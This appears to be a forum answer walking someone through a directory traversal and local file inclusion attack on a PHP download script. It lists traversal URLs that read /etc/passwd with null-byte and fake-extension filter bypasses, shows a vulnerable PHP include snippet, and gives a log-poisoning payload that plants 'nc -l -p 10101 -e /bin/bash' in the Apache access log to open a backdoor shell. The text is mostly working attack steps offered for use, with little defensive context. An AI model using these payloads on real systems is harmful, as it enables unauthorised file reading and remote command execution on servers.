Provide more details on what you've tried. How high up on the directory tree can you go. Assuming that you're using Linux what is the response when you access the following URLs:
/download.php?file=files/../../../../../../../../etc/passwd
/download.php?file=files/../../../../../../../../etc/passwd%00
/download.php?file=../../../../../../../../etc/passwd
/download.php?file=files/../download.php%00
/download.php?file=files/../download.php.txt%00
/download.php?file=files/../download.php.html%00
/download.php?file=files/../download.php.jpg%00
/download.php?file=files/../download%00
The following filters may be in place:
- File path validation that restricts all requests to a given directory
- Directory traversal prevention; filters that restrict requesting files from other, higher, directories other than the web root directory("/")
- File extension filters that prevent requesting a file with a certain extension(i.e. .php, .java, .aspx), usually files that handle server side logic
In the URLs above, possible server side trailing characters are removed using the null byte(%00) so that no characters are considered beyond the URL. For example the file path retrieved for the following two URLs is the same to the server side code:
/download.php?file=files/read_me.txt%00
/download.php?file=files/read_me.txt%00<some_string>
give the path:
files/read_me.txt
Note that the server may concatenate a string that represents an extension to the requested file.
Adding an extra extension to the file may trick the filters into thinking that you are requesting a file with a valid extension. Usually static file extensions are accepted: .html, .css, .jpg(most image formats), .js and s.o..
Note that for the request to succeed the file path must be valid.
Depending on how download.php is written there may also be a possibility of a LFI attack. If the file parameter is not sanitized and used to include another page as bellow:
<?php
$file = $_GET['file'];
if(isset($file))
{
include("pages/$file");
}
else
{
include("index.php");
}
?>
php code can be executed upon inclusion of the respective file. A common means is by using the server's log files to inject malicious code by placing the code inside the body of the request. For example by making the following request:
/index.php?blah=<?php shell_exec('nc -l -p 10101 -e /bin/bash'); ?>
a back door is set up on the server on port 10101 if the log file is included by a php script similar to the one above. For example, by making the following request:
download.php?file=../../../../../../../var/log/apache2/access.log%00
netcat opens a connection in listening mode on port 10101. Nowadays, most hosting providers disable php's command executing functions.